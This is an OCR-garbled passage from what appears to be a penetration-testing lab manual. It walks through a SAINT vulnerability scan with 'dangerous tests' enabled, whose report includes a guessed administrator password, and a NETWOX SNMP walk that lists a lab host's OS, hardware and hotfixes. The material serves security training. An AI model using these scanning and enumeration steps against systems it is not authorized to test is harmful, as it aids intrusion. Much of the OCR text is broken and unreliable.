nlre |Gl @

File Edit View Go Bookmarks Tools Window Help

¢ .2 3 B < .
Rack e Relond  Stop ‘!,; hnpﬂloca\hnsr.\n(a\dnmam4106[}/e525b3d9d16543a2|V|‘&5umh‘ =

4} Home | WfBookmarks 4 Red Hat Network (fSupport [fShop [ Products [ Training

T

Sessions | Sean Setlp | Data Analysis Configuration Schedule

To generate your key, log in at http://www.saintcorporation.com using your &
customer login and password, or use the free-trial key which was e-mailed i
to you.
Replace with contents of SAINT Key File.
L
=
S &b ~Z E3 | Done [ |~o|s
A T T
e [ O Fri Nov 18
% &3 Z 10:45 AM
Eom -

From the License Key sent to the e-mail address you used when down-
loading SAINT, enter the text from within that file.

*Note: 1 recommend using the Copy/Paste command with the License file to prevent
mistakes.

i

P - =

| Fle Edt View YM Team Windows Help

|a mlp &

File Edit View Go Bookmarks Tools Window Help

B?c‘k - Foﬁrd - R:%ad %%}p |J,L hnp'moca\hns[.lo:aldnmam'BDZQB?dlllS(eceZS?bq|v||4a,sun:h| P[—:%t -

<tHome | wfBookmarks 4 Red Hat Network % Support £§Shop [fProducts % Training

Sessions Scan Set-Up Data Analysis Configuration Schetle Documertation

To generate your key, log in at http.//www.saintcorporation.com using your
customer login and password, or use the free-trial key which was e-mailed
10 you.

BEGIN KEY 3
2¢78bd465893e1a8
172.16.1.40 ||
172.16.1.46
Expires: 12/23/2005
END KEY|

# £ 2 (3 | Done _ | |=m=|.é§|
AR HeRER ° e

A Vour wersion of Wware Tools is aut of date. BEom
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Scroll down on the right side of the screen and click the Save SAINT key
button.

Save SAINT key

B Red Hat Linux - ¥™Mware Workstation & X
8 Red & o

| Fle Edt Vew WM Team ‘windows Help

@ Red Hat Linux

Eile Edit View Go Bookmarks Tools Window Help

Bﬁ’k - FD%;\VH - R:‘%m ;’%i |& http://localhest.localdomain 33029/37d1115cec5257b4iv"ésaarch‘ Fc’—:ﬁt -

“hHome | ‘YfBookmarks 4 Red Hat Network (4Support [fShop 4 Products (4 Training

Warning - SAINT Password Disclosure

Your Hypertext viewer may reveal confidential information when you contact remote
WWW servers from within SAINT.

For this reason, SAINT advises you not to contact untrustworthy WWW servers from within SAINT.
For more information, see the SAINT vulnerability tutorial.
This message will appear only once.

In order to proceed, send a refoad command (Ctrl-R with Lynxﬁnr go back to the previous screen and select the same link or

button again.
b & 2 E3 | Done [ [o-{ar]
- T [TH| |! ; [ ‘D Thu Dec 08
‘ e | B 7 5:25 PM
A Your version of YMware Toals is out of date =2

You will be presented with a warning of Password Disclosure if contacting
remote servers with SAINT. Click the Reload key on the browser. 2



Vulnerability Scanning ® 369

Confirm the POSTDATA warning by clicking OK.

Bl Red Hat Linux - ¥Mware Workstation P =] 3]
[ Edit  View Team Windows Help

|mnfr @@ &B

l
T
=
z

& Warning - SAINT Password -5 X|

Eile Edit View Go Bookmarks Tools Window Help

4. = D8

Back Forward ReElad Stop

7% Home ‘ ‘W Bookmarks 2Red Hat Network (2 Support [fShop (f Products [z§Training

Warning - SAINT Password Disclosure

| & hup:locaihost.iocaldomain: 33028/37d1115cece257b4 | v | 2. Search| ;7{ =
.

4 co [%
Your @ The page you are trying to view contains POSTDATA. If you resend the data, any action the form ote
www carried out (such as a search or online purchase) will be repeated. To resend the data, click OK.

Otherwise, click Cancel.
For this
For more

This message will appear only once.

In order to proceed, send a refoad command (Ctrl-R with Lynx), or go back to the previous screen and select the same link or
button again.

H He £ [ | Done [

|-
¢ 52 ; u
AP He@ e
£\ Your version of ¥ware Tools is out of dats, BEom
The SAINT Key will be saved.
ed Hat Linux - YMware Workstation =101

| Fle Edt View WM Team ‘windows Help

Imnjre|gai|noo

Eile Edit View Go Bookmarks Tools Window Help

B © e T i e | & wpippocainost.localdomain:33029/37d1115cece257b | || 2. Search | o

% Home ‘ “fBookmarks . Red Hat Network (2 Support (fShop 4 Products fTraining

Sessions Scan Set-Up Data Analysis Configuration Schedule Documentation

‘Your SAINT Key has been saved.

% & 2 E3 | Done [

[
QPR @

A Your version of YMware Tonls is out of date. EcE|
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Click on the Scan Set-Up tab along the top of the screen.
As this is a single target scan, enter the target’s IP address. In this example,
the target IP address is 172.16.1.46.

[ElIRed Hat Linux - YMware Workstation j =10l

File Edt Wiew VM Team ‘Windows Help

I

Il SAINT Scan Setup - Mo:

File Edit View Go Bookmarks Tools Window Help

. b 3 B | & http:socathostlocaldomain:33029/37d1 115cece257b4 | || 2. Search ;—:f‘ -

Back Forward Reload  Stop

7k Home | ‘Wf Bookmarks ¢ Red Hat Network (4 Support fShop [ Products (4 Training

(AINT

You have not configured SAINTexpress! Automatic SAINT updates are not enabled. To
configure SAINTexpress, go to the Home tab and select "Configure SAINTexpress Plug-In". 7

Data Analysis Configuration Schedule

Primary Target » | |p address l;lrll—wm X
Fom[ [ [ [

e e L

Subnet: l_l—l— m

Host Name: m

Import from File: m

Selected Targets:

<None selected> =

e £l 2 EH | Link not found: "6" | |=W=|ﬁ“
- s |50 a [ BECY % Thu Dec 08
‘ % @ = | 3 20 5:27 PM
A\ aur version of VMware Tools is out of date, =1

Click the Add button to the right of the IP address.
The target IP address will be shown in the Selected Targets area.

[ElIRed Hat Linux - YMware Workstation j =10l

File Edt Wiew VM Team ‘Windows Help

nre||lgan

Il SAINT Scan Setup - Mo:
File Edit View Go Bookmarks Tools Window Help

@« . e . A § 3
e e S | & http:socathostlocaldomain:33029/37d1 115cece257b4 | || 2. Search i

7k Home | ‘Wf Bookmarks ¢ Red Hat Network (4 Support fShop [ Products (4 Training

(AINT

You have not configured SAINTexpress! Automatic SAINT updates are not enabled. To
configure SAINTexpress, go to the Home tab and select "Configure SAINTexpress Plug-In".

Data Analysis Configuration Schedule

I*]

=

Primary Target »

IP Address lFlTll—Wm

Range:

|
Subnet: l_l—l— m
Host Name: m
Import from File: m

Selected Targets:

i =

G e 2 B | Done | |=0=|§'

e Hpl '@ @ mmp

A Your version of YMware Tools is out of date, =1
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Scroll down the right side of the screen and locate the section labeled
Scanning Level. Select Heavy for the Scanning Level. Select Perform dan-
gerous tests.

8 Red Hat Linuy - ¥Mware Workstation | =lolx|

File Edt  Wiew Team  ‘Windows  Help

nlre|eon|ne e

SAINT. Scan Setup
File Edit View Go Bookmarks Tools Window Help

B?c»k - Foﬁm - R:E;d S%E»p | & hup:ocalnostlocaldomain:33029/37d1115cece257b4 || 5. Search| ;—:-:‘ -

4% Home :,&Boakmarks 4 Red Hat Network L.‘Suppart D‘Shap [’_.‘Products D‘Trammg

Sﬂ I HT‘E

Scanning Level »

Schedule

Data Analysis Coniguratian

[+]

Choose a scanning level

(" Discovery (discover live hosts)

¢ Light

{ Normal (may be detected even with minimal logging)

 Heavy (avoids WIinNT ports that are known to crash system)

(" Heavy+ (doesn't avoid WinNT ports that are known to crash system)

" Top 20 (scans specifically for SANS Top 20 Internet Security Vulnerabilities &

Z
" Custom: | custom 7| -

(Set up custom scan) =

Should SAINT perform dangerous tests? Dangerous tests may help reduce false alarms, but
may crash services on target hosts!

(" Do not perform dangerous tests. Just issue warnings of potential problems instead.

& Perform dangerous tests. |
-

% £ \Z 9 | Done [ [~
2 [ 1 PEn ‘ Thu Dec 08
AR B BN " e

A Your version of YMware Tools is out of date, ==

Scroll down to the Firewall Support section and select the appropriate
option for your environment.

n i =101

| Fle Edt Vew WM Team tindows Help

ed Hat Linu; ware Workstal

@Rﬂd Hat Linux
SAINT Scan Seti
Eile Edit View Go Bookmarks Tools Window Help

B?c-k & FD%M & R:-%ad S%Ep M;hnp Jflocathost localdomain ansﬁrdluscecezwm|v||&1,5samh‘ ‘;:ﬁt &

hHome ‘wkBookmarks 4 Red Hat Network [fSupport [§Shop [fProducts [4Training

Data Analysis Configuration Schedule Documertation

Home | Sessions

Firewsll Support »

[2]

Is the host you are scanning behind a firewall? If it is, you should enable firewall support.
(Otherwise your results may be inaccurate or non-existent.)

" No Firewall Support
(® Firewall Support
(" Extensive Firewall Support

Ruthentication » Authentication will result in a more thorough assessment and may reduce false positives.

Domain ini: (See security waming.)

Login

o

Password 4

K

Linux User (Requires SSH to be running on each target.) ]

X | ——1 [+]

% UL <2 G | Done [ [0l
Y < L[ D Thu Dec 08

% Z 5:28FPM

A\ Your version of Vware Tosls s aut of date, E=|
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Scroll down to the bottom of the screen and click the Scan Now button.

[ Ped Hat Linuse - Veiware Workstation e =1

|| Fo ede vew W Tem wWndows b

fmuielcaplmaasE

Ele Edt Vew Go Bookmarks Iools Window Help
S U i ; I~ =% . [
S &[S scwrsr] mswer] 3 - ]
Ahtiome | whBoockmarks 4 Red Hat Network (2§ Suppont (2§ Shop (= Products 2 Tradning
 Extensive Firewall Suppon =
Ruthentication » ~ Asthentication will result in a more thorough assessment and may reduce false positives.
Windows Domain Administrator (See secpily wamig.)
Losgin:
Passwond [
Linux User (Feguines SS5H to b mnmng on each Lugpet. )
Login
r‘assmld'[
[ScanNow
W & £ @ | Done | e
A - | O Th Dec 08
- .- 528 PM
8 Your e of WWhwars Tocks b out o doe. Eow

SAINT will now begin scanning the target for any vulnerability it can locate.
The results of the scan will be displayed on the screen as they are determined.

*Note: Notice the VCR-type control box that appears on the screen as well. This
allows you to Pause, Stop, or View Results in Progress. Be patient for the
results as SAINT may take a while.

Viare Workstation

|| Fin Edt Vew WM Team Wndws Heb

(mura|lcanoaa @

Ay Wows 000 Anvanced Server | () Fied i L i Server | |y Windtwa S0 ronessions | [FOSITTT

¥ SAINT Data Collection - Mazilla - %
Ele Edt Vew Go Bookmarks Iools Window Help

s s i =l =+ . g
#l Foeward Rn%an g,‘lw 4 hap: 1 lJ.z.Smhl IR

“htiome | wfBookmarks . Fed Hat Nerwork (= Suppon (2§ Shop (= Products. (2 Training

SAINT data collection

Data collection in progress...

Maimium eoncurent probes = 10

2 Running adore.saint wikas gatewiy. 2wire.net (maximum 45 seconds)
2 Running dns.saint wlkas,gateway. wire.net maximum 45 seconds)
9 Running ddos. saint w2kas gateway, 2wl nat (maxinium 45 seconds)
2 Running rpc.saint wikas. gateway. 2wire.net (maximum 45 seconds)
9 Running udpscan.saint

1-19,53,67-69,111,123,137-139,161-162,177, 1434, 1812,1500, 3401 .wg&l)s. 7777.6539,17165,20-52,54-66,70-110,112-122,124-136,1
w2k as gateway, Zwire.net (maximum 120 seconds)

@ Running tcpscan.saint

10008, 10202,10203,12754,13701,13722, 1424715104, 16660, 20031, 20432, 21 700, 25702, 27374, 27665, 32766, 33270,33567, 33568, 36010
wkis gateway, 2wire.ned (maximum 1250 seconds)

& Running ostype.saint wikas.gateway, 2wie.net (maximum 120 seconds)

o |

|
| Feid)

I o

AL B " o mnr

8 Your e of WWhwars Tocks b out of doe, BEow

from localhaost
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SAINT will complete the vulnerability scan.
Click on Continue with report and analysis at the bottom of the screen.

B0 Red Hat Linux - ¥Mware Workstation 1 =lol=|

File Edit Wiew WM Team ‘windows Help

I
| ERENE

B4 SAINT Data Collec
Eile Edit View Go Bookmarks Tools Window Help

Bﬁ»k - FD%;\VH = R?m fﬁ»ﬂ | & mp:fpocalnost.localdomain:33029/37d111Scece257b | v | 2. Search | F‘,—-;ft >

“hHome | ‘dfBookmarks 4 Red Hat Network (fSupport (fShop [ Products [ Training

T oSy

R cOa=an e T

O Running radia.saint 1028 TCP w2kas.gateway.2wire.net (maximum 45 seconds) 1
O Running proxy.saint http-connect http w2kas.gateway. 2wire.net (maximum 45 seconds)
O Running sybase.saint -u sa 6666:TCP w2kas.gateway.2wire.net (maximum 45 seconds)
O Running sybase.saint -u sa eklogin w2kas.gateway.2wire.net (maximum 45 seconds)
O Running sybase.saint -u sa 2107:TCP w2kas.gateway.2wire.net (maximum 45 seconds)
‘Warning: sybase.saint w2kas.gateway.2wire.net timed out
‘Warning: sybase.saint w2kas.gateway.2wire.net timed out
Warning: https.saint w2kas.gateway.2wire.net timed out
O Processing data
O Running win_login.saint i 1 -u™ -g 2 -1 ™ 2 "%lI" -2 "password" 4 "%b" -5 "%I1" -P len=8:hist=24:max=42:min=2:lock=3
w2kas.gateway.2wire.net (maximum 240 seconds)
O Running win_filechk.saint -w 2000 -s ™ -u ™" -P "boottime=5" -x 1 w2kas.gateway.2wire.net (maximum 120 seconds)
O Processing data
© Running win_login.saint -i 2 -u ™ -g 2 -1 ™ -2 "%I" -3 "password" 4 "%b" -5 "%I1" -P len=8:higt=24:max=42:min=2:lock=3
w2kas.gateway . 2wire.net (maximum 240 seconds) L3
O Processing data
@ SAINT run completed in saint-data session

Data collection completed (1 host(s) visited).

T

Back to the SAINT start page | Continue with report and analysis
<]

]
I B |

\2 B3 | pone [ [-o-aP
¢ ! g Thu Dec 08
ASSOHSES o
A Your version of ¥Mware Tools is out of date Eom -
Under Report Type seclect Full Scan Report.
Red Hat Linux - YMware Workstation 1 =101

| Fle Edt View WM Team ‘windows Help

[l

@ Red Hat Linux

Eile Edit View Go Bookmarks Tools Window Help

Bﬁ.k o FD%M - R::Iivm ;%%p | & wpippocainost.localdomain:33029/37d1115cece257b | || 2. Search | ;ift -

“hHome | ‘dfBookmarks 4 Red Hat Network (fSupport (fShop [ Products [ Training

Sessions Scan Set-Up Configuration Schedule Documentation
You have not configured SAINTexpress! Automatic SAINT updates are not enabled. To
0 «configure SAINTexpress, go to the Home tab and select "Configure SAINTexpress Plug-In".
Z
RAeport Type » & Full Scan Report
All available information, including charts, tables, hosts, vulnerabilities, services, L
users, shares, and technical details. N
< Full Vulnerability Report
All vulnerability information, including charts, tables, hosts, vulnerabilities, and
technical details.
¢ Executive Report
Pie charts and bar graphs which summarize the vulnerabilities found on the network.
(Use HTML format. With Simple HTML format, pie charts are only visible in Internet
Explorer browsers.)
¢ Technical Overview
Lists of hosts, ies, services, and associated information. This report is (1
hast far nlanning a remadiatinn stratanu_ar far imnartinn intn snreadshaat ar hd
v B2 | pone | |~0-[r
o ! |- g ; 0 Thu Dec 08
‘ % S | = Z 5:46 PM

A Your version of YMware Tonls is out of date. EcE|
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Scroll down to the bottom of the screen and click the Continue button.

ntinue

B Red Hat Linux - ¥Mware Workstation i [ %
Sl Red k o

| Fle Edt view WM Team windons Help

€ &
L

Eile View Go Bookmarks Tools Window Help

i - 'Q“ - \3 §§ H http:/flocalhost.localdomain: 33029/37d1115cece257b4
Back Forward Reload Stop

#}Home “dfBookmarks 4 Red Hat Network [5Support (Shop (fProducts [4Training

Sessions | Scan SetUp Configuration Scheduls Documentation
multiple data sets. [+]
¢ custom
New report type File name: Template:
Full Scan j
Data Sets »
Data set to analyze:
® current data
Report title: ISN NTwriter Assessment Report
Report format: | HTML ]
I Show IAVA numbers (requires JAVA plugin)
[+
i £l vZ B3 | Done |
A & [ O Thu Dec 08
5:47 PM
A Your versian of Vware Tools is out of date, [sN=1"
eqe .
The SAINT Vulnerability Assessment Report will appear.
80 Red Hat Linux - YMware Workstation i i [=] |

| Fle Edt view WM Team ‘windows Help

lmnralleGR|loea|®
—

File Edit View Go Bookmarks Tools Window Help

“- < @" - \3 §§ J http:fflocalhost.localdomain: 33029/37d1115cece257b4
Back Forward Reload Stop

“}Home “dfBookmarks 4 Red Hat Network [5Support [Shop (fProducts [4Training

Contents
- Introduction
Summary

New Report

December 8, 2005

1.0 Introduction

On December 8, 2005, at 5:33 PM, a heavy network vulnerability assessment was conducted using the
SAINT® 5.9.5 vulnerability scanner. A total of one live host was discovered and scanned. On this host,
SAINT detected two critical problems, two areas of concern, and 18 potential problems. The host and
problems detected are discussed in greater detail in the following sections.

2.0 Summary

The following vulnerability severity levels are used to categorize the vulnerabilities:
CRITICAL PROBLEMS
Vulnerabilities which pose an immediate threat to the network by s\lu.k!ng a remote

attacker to directly gain read or wiite access, execute commands on the target, or create
a denial of service.
==

AU TAR @

A\ Your wersion of YMuare Toels is aut of date. 2=

[=]
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The results can be analyzed by scrolling down the right side of the screen.
In this example, SAINT has identified the following:

B 2 critical problems

B 2 areas of concern

B 18 potential problems
B 32 services

JRT=TE
ENEE I EEEEEEEE

(53 Red Hat Linux 4

SAINTwriter Assessment Report - Mozilla

Eile Edit View Go Bookmarks Tools Window Help

L. ® . D @ < . [
Rtk Ecned G Shn & hup:fflocalhost.localdomain 33029/37d1115£ece257b¢|E ol m

7hHome | wfBookmarks ¢ Red Hat Network [ZfSupport [fShop (fProducts [§Training

=
Contents 2.1 Vulnerabilities by Severity
=
* Introduction This section shows the overall number of vulnerabilities detected at each severity level.
. areas of eritical
S ummary concern problems
. 4% o
4n
30 potential
problems
33%
20
10
2
0 = y
s 5o
o LS
O')-Z\Q‘ z@qg’z
r;‘o £

2.2 Hosts by Severity

This section shows the overall number of hosts detected at each severity level. The severity level of a
host is defined as the highest vulnerability severity level detected en that host.

L_.I
£l Z [E3 | Done :ﬂbzﬁ!’

Q@& Hagd® @ Iy

£\ Your version of ¥Mware Tools is oLt of date, =1
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By scrolling further down the screen, SAINT will identify the class of
concern from the overall number of vulnerabilities identified. In this example,
the target has indentified the following:

3 Web vulnerabilities

2 Networking/Simple Network Management Protocol (SNMP) vulnerabilities
14 Windows operating system (OS) vulnerabilities

1 Password vulnerability

2 Other vulnerabilities

Bl Red Hat Linux - YMware Workstation o [=] 3

| Fle Edt view WM Team ‘windows Help

File Edit View Go Bookmarks Tools Window Help

e L | & hutp:slocalhost.localdomain:37660/1325e2403464a303 [ || & Search| P‘ﬁ[ -

Back M Forward Reload Stop
4} Home | “{fBookmarks 4 Red Hat Network [ZfSupport ((4Shop (1 Products ([ Training

Contents 5 3 B »
i . 2 2 = 2 z 2 -n. . ﬂ H
* Introduction 0 e g 7 7 7 J
Y >
2 Summary & @ & & @ REE & &
rview & e AR s* S
RS % & « e
Details N b *

Passiords
5%

it & \Z E | Done [ [

AR Hegam [ O s

£\ Your version of ¥Mware Tools is out of date, Eom -
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Further down the screen, SAINT provides a detailed list of the vulnerabil-
ities. Ttems displayed are as follows:

Target Host Name

Criticality severity

The specific Vulnerability/Service

The Class

The CVE (Common Vulnerabilities and Exposure)

If the vulnerability is a member of the Top 20 list (SysAdmin, Audit,
Network, Security [SANS] Top 20)

B Red Hat Linux - YMware Workstation ) =T

| Fle Edt Vew WM Team ‘windows Help

| SAINTwriter Assessment Report-Mozilla_ . .. il

File Edit View Go Bookmarks Tools Window Help

i - 'Q' \3 §§ i hrtp:fflocalhost.localdomain: 33029/37d1115cece257b4 =3 .,
Back Forward Reload  Stop Print
4} Home JBunkmarks 4 Red Hat Netwaork ['_‘|'Suppnr[ ['_|‘Shnp L‘iPmdu(ts ['_|‘Traimﬂg
-
Contents 3.2 Vulnerability List
* Introduction This table presents an overview of the vulnerabilities detected on the network. = |
Summary
Overview
Details
Host Name Severity Vulnerability / Service Class CVE ;8?"
Guessed password to
w2zkas.galeway.2wire.net critical  windows account Passwords
(Administrator:123)
w2kas.gateway 2nirenet criical  Wdows Message gy o
E Queuing vulnerabiliy
w2kas.gateway 2wirenet concem Web server alows web no
cross-site tracing
w2kas gateway 2wirenet concern "ull SeSsion access Windows 0S5 CVE-20 no
using alternate pipes
guessable read o
wZkas.gateway.2wire.net potential communty string Networking/SNMP LV no
o]
w2kas. gateway 2wire.net potential ;“ﬁ;‘?b““‘””ah"““ Web
<%t £k £ EZ | Done == ﬂ"k'
A e
. [Tm| [ 1 BENCE @ Thu Dec 08
& 5:49 PM
A Your werslan of Wware Tools is ot of date, [oN=1:
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Scrolling down, the specifics for each vulnerability are listed, as well as
the potential impact, possible solution, and results of the vulnerability found.
For instance, in this example the Administrator’s password was discovered to
be 123.

B Red Hat Linux - ¥Mware Workstation N _(3l x|

| Fle Edt Vew WM Team ‘windows Help

SAINTwriter, Assessment Report - Mozi 7 i " e
File Edit View Go Bookmarks Tools Window Help

i - & \3 ﬁ i hrtp:fflocalhost.localdomain: 33029/37d1115cece257b4
Back Forward Reload  Stop

4} Home JBunkmarks 4 Red Hat Netwaork ['_‘|'Suppnr[ ['_|‘Shnp L‘iF’mdu(ts ['_|‘Traimﬂg

Contents 32 Vulnerability List

* Introduction This table presents an overview of the vulnerabilities detected on the network. = |
Summary
Overview
Details
Host Name Severity Vulnerability / Service Class. CVE R’?"
Guessed password to
w2kas.gateway.2wire.net critical  windows account Passwords CVE-1999-C il no
(Administrator:123)
w2kas gaeway Zwienet crijcal  Windows Message o 0s cue o yes
Queuing vulnerabiliy
w2kas.gateway 2wirenet concem Web server alows web no

cross-site tracing

null session access

Windows OS
using alternate pipes

w2kas gateway 2wire.net concern

| guessable read

w2kas.gateway.2wire.net potential communiy string

Networking/SNMP

v
=
w2kas.gateway 2wire.net potential ;"E‘?l”“‘””ah"ms Web
- g
2 == ")
2 "
o [ [ | EnCT @ Thu Dec 08
3 < 5.49 FM
A\ Your wersion of YMiare Tosls is aut of date., =1

*Note: One of the features I like best is that the SAINT vulnerability scanner provides
links where you can download patches or new versions of software that will
eliminate the detected vulnerabilities. Although it is not free beyond the two
IP limitations for 30-day trial use, SAINT receives a two-thumbs up.
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Lab 61: SNMP Walk &
Exploit Data via SNMP Walk: NETWOX/NETWAG <

Prerequisites: Simple Network Management Protocol (SNMP) target

Countermeasures: Bastion servers/workstations, host-based firewalls,
strong passwords, File Transfer Protocol (FTP) over Secure Socket
Layer (SSL)

Description: The NETWOX (NETWork toolbOX) application can be a
very dangerous tool in the wrong hands. NETWAG is the GUI interface
for NETWOX. In this lab, the tool is used to demonstrate its ability to
“walk” the SNMP. SNMP lets you “read” information from a device.
SNMP gives its information via a Management Information Base (MIB).
MIBs are like directories and are referred to by name or by number.
Remember that all commands in Linux are case sensitive.

*Note: Lab 53 demonstrated using NETWOX/NETWAG in a Linux environment. In
this lab I will demonstrate the Windows version.

Procedure: Set the parameters, execute against the target(s), and review
the results.

Double-click the Netwag icon.
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The NETWAG application will start.

Windows 2000 Gerver - ¥Mware Workstation - 1o x|

| Fle Edt view WM Team ‘Windows Help

File Edit Session Options Help

e i ]
& sore O tree 0 show all € search

L : Display network configuratien B

: Display debugging information
[3 : Display information sboun an IP address or & hostname
4 : Display information sbout an Ethernet address

ls : Obtain Ethernet addresses of computers in an IP list
6 : Display how to reach am TP address

[P : smifs

2 : Eniff and display cpen ports

5 : Sniff and display Echernet addresses

L0 : Smiff and display metwork stavistics

L1 : Sniff and verify checksuus

Lz : Display which walues to use for netwox parameters

L3 : Obtain DLT type for sniff and spoof for each dewvice
L4 : Speof a record

L5 : Display content of a record

Comvert a record

Recoupute checksums of packets in a record
Reasseuble ID packets of a record, and reorder TCP flow
Extract a range of packets from a record

Search for strings in packers from a racord

Convert a nuuber

Comvert a string

23 : Dieplay ASCIT rable

24 : Convert IF addresses ranges

25 - Test if a directory is secure

e - Dump a file

Linkred with netwox version §.25.0
This version comtains 197 tools

start || ] @ 1 8 11 @ | [[F netwag

£\ Your version of ¥Mware Tools is oLt of date,

Highlight item #160: SNMP Walk.

B Windoves 2000 Server - ¥Mware Workstation - 1o x|

| Fle Edt view WM Team ‘Windows Help

i netwag

File Edit Session Options Help

e e e e Py
& sore O tree 0 show all € search

L42 : Ping ICHMPE Neighbor Discovery (Ethlp spoof)
L50 - Scan ICMPE Weighbor Discovery

L51 : Scan TCMPG Weighbor Discovery (Echlp spoof)
L5z : Interactive IRC client

LE2 : IRC client listing channels

l54 : IRC client listening on a channel
LS5 : Network performance measurement : ICP server
L56 : Network performance measurement : ICP client

57 : Network performance measurement : UDP server
LS8 : Metwork performance measurement : UDP client
lLss -
Ter

This listhox contains the
title of tools. Lf "Show
all" is checked this list
contains svery tool. If
"Search® is checked, this
lizt contains the rasule of

Trap
sz : smme Trapz

lLss : smMP Inform

lea : smrp ger

55 © TFTP client : gt & file
llsg : TFTP client : put = file
67 : TFTE server

lies : FTP server

62 : Display simple network configuration sasy to parse _J

the search.

L70 - TELWET server
L71 : DHCP client

L72 : List articles range of a newsgroup

173 : Dovmload overview of one, or more, newsgroup messages
L74 : FTP client : gec a file and check its MDS

|

Linkred with netwox version §.25.0

This version comtains 197 tools

start || ] @ 1 8 11 @ | [[F netwag

£\ Your version of ¥Mware Tools is oLt of date,
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By clicking on the Help tab you display the syntax of the tool.

The top section of the screen illustrates the correct syntax and examples
of each tool selected. In this example, by clicking on the Example button
you place the text into the center white block of the screen. This is the
execution section. This is the syntax that will be executed and should be
modified to run against the target.

The lowest section contains the status of the tool’s execution.

Bl Windows 2000 Server - ¥YMware Workstation o (=]
| Fle Edt view WM Team ‘Windows Help

i netwag

File Edit Session Options Help

i

Tool number : 160 =
Title: SHNF Ualk
| Thiz tool requests a WALK on a SNMP server. It permits to rstrisvs the |
| value of ome item, and of successive ones 1
1 1
| Parameter --oid is the oid to query. An oid is for example 1
(I 2 0 0 L W 1
1 1
| Parameter --version defines SNMP version to use (from L ta 3). 1
| Versions 1 and 2 need to set nane. 1 L
| Version 3 requires and oRE) 3 1
| indicates if mdS surhentication iz used. Parameters 1
1 ineid itati neboots, 1
1 .- ineid and are 1
| optional version 3 paremeters. 1
| Parameter --display shows packets. 1
1 1
| Parameter --dst-ip is the address of remote host/server. 1
| Parsueter —-dst-port is the port nuuber whers to comnsct. 1
| Optional parsmeter —-sre-ip defines the local IP address to uss. 1
| Optional parsmetsr —-sre-port defines the local port numbsr £o uss. 1
| Optional parameter —-ipdopts permits to add IP4 options encoded as 1
| mixed 1
| Optional parameter --ipfexts permits to add IPE options encoded as 1 =
2 Exsmplslﬂsagellun 1:|: 3 vpaare|($
=1 Run
2w
4
Linkzed with netwox version 5.25.0 =
This wersion comtains 197 teols :I
start || ] @ 1 8 11 @ | [[F netwag EsRg  1s2Pm
£\ Your version of ¥ware Tools is out of dats, [eN=1 1083
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In this example, there is an SNMP server located at 172.16.1.46. Click on
the Form button at the top of the application. Type the IP of the target in the
dst-ip field. Click the Generate button and view the syntax to be executed
in the execution section (the white area below the Form section).

=

| Fle Edt view WM Team ‘windons Help
mnfra|ganR|Doa

al

{53 Windows 2000 Server

File Edit Session Options Help

Paramsters for tool 160 (SNMP Ualk): =
¥ |172.16.1.46 ﬂdsrxp: destination IF address

[ |rrnnns jcummun).ty: SNMPVL/vE commanity

W |01 ﬂuid 0ID to query

Advanced parameters:

[Lo0

[ foazo device: device name

[ Jo:2:3:4:5:6 ﬂsrc*eth: source ethernet address

I~ |o:g:3:a:b:c ﬂdsb—ebh: destination ethernet address
[ f172.16.1.40 ﬂsxc—lp: source IP address

o -|+|n|sre-pore: source pore number

[ fis1 -|+|k|dst-port: destination port mumber

u ﬂlpqupbsi IPv4 options

r ﬂipsax:s: IPvé extensions

u A -|#|b|version: sMMP version (1, 2 or 3}
2 Genera\:alkuh :'u:l: * Racer|® 3 vpaare|($
R

160 --dst-ip 172.16.1.46 --oid ".0.1" =

=L

nan

3

Linkred with netwox version §.25.0
This version comtains 197 tools

start || ] @ 1 8 11 @ | [[F netwag @eEg 1s7en
A our version of ¥iware Tools is ot of date, [eN=1 1083

el o

Click on the Run it again button. View the results. The results of this lab identify
the target operating system and the target hostname.

B Windows 2000 Server - YMware Workstation ] 3]

| Fle Edt view WM Team ‘windons Help

s npe|lpaR|Oo

ome 0l Windows 2000 Server

 netwag
File Edit Session Options Help
Tool

[T | E=S ]

i

01.3.6.1.2.1.1.1.0: 'Hardvare: xz86 Family 6 Model S Stepping 8 AT/AT COMPATIBLE - Softvare: Windews 2000 varsxo:|

AeGiaiisoe TG ol ouingng

01.3.6.1.2.1.1.3.0: 164165

(1.3.6.1.2.1.1.4.0:

(1.3.6.1.2.1.1.5.0: 'WIKAS'

EE e A G

il 1.7.0: 76

ol 2.1.0: 2

1.3 L.z ll.l: 1

ol .2.2.1.1.16777219: 16777219

. .2.z.1.2.1: 'S ICP Loopback interface' 00

g .2.2.1.2.16777219: 'AMD PCHET Family Echernet Adapter' 00

1.3 Lz.z.1.m.1: 24

g L2.z.1.3.16777213: &

-iLg .z.z.1.4.1: 1500

ol .2.2.1.4.16777218: 1500

1.3 2.2.1.5.1: 10000000

o8 .£.1.5.16777219: 10000000

g 2.1.6.1:

(1.3.6.1.2.1.2.2.1.6.16777218: 000c '}’ 57 ‘I

Sl.3.6.1.2.1.2.2.1.7.1: 1

LG8 a 88 ey igmece 1

NG TR o R T H

4] | b~

$ Copy command|un ir ags:\nl;

160 --dst-ip 172.16.1.46 --oid ".0.1" 2l
jl_mv

.

This version comtains 197 tools |

[Funning "160 --ast-ip 172.16.1.45 -—0id ".o.1"" =

Tool finished its job -

Hstart ||| ) E 5 B 11 © H 7 netwag EeR  zazpm

A\ Your version of ¥iware Tools is oLt of date, = I
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Hardware information on the target includes the following:

Target has an A: drive.

Target has a D: drive.

Target has a fixed disk.

Target uses a three-button mouse, with a wheel.
Target uses a 101-keyboard layout.

Target has a printer port.

Target has two COM ports.

BN Windows 2000 Server - ¥Mware Workstation J

H Fils Edt Yiew WM Team Windows Help

: 'MS TCP Loopback interface'
: 'AMD FCMET Family Echernet Adapter’
' S

IBM enhanced (101- or 102-key) keyboard, Subtypes=(0)'
'3-Buttons {with wheel)'

i LBTY:Y

:o'comi:t

i

$ copy commend |Run iv agamli

160 --dst-ip 172.16.1.46 —-oid ".0.1"

This version contains 157 tools
[rarming "160 --ast-ip 172.15.1.46 --0id ".0.1""
Tool finished its job

Astart| | A @S =1 8 22 © ||[§ netwag

A\ Your version of VMware Todls is out of date,
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The target provides a convenient list of Hotfixes that have been installed.

B Windoves 2000 Server - ¥Mware Workstation - 1o x|

| Fle Edt view WM Team ‘Windows Help

|mnfr @@ &B

{53 Windows 2000 Server

i netwag

File Edit Session Options Help
Tool

Y Y -~ |
L

i

B - o - W A 6.3.1.2.1: 'Internet Explorer (Q867801' _I
S1.3.6.1.2.1.25.6.3.1.2.2: 'Windows 2000 Horfix - EBBZ0B8S'
-1.3.6.1.2.1.25.6.3.1.2.3 'Tindows Media Services Hotfix — KBS8ZZ343'
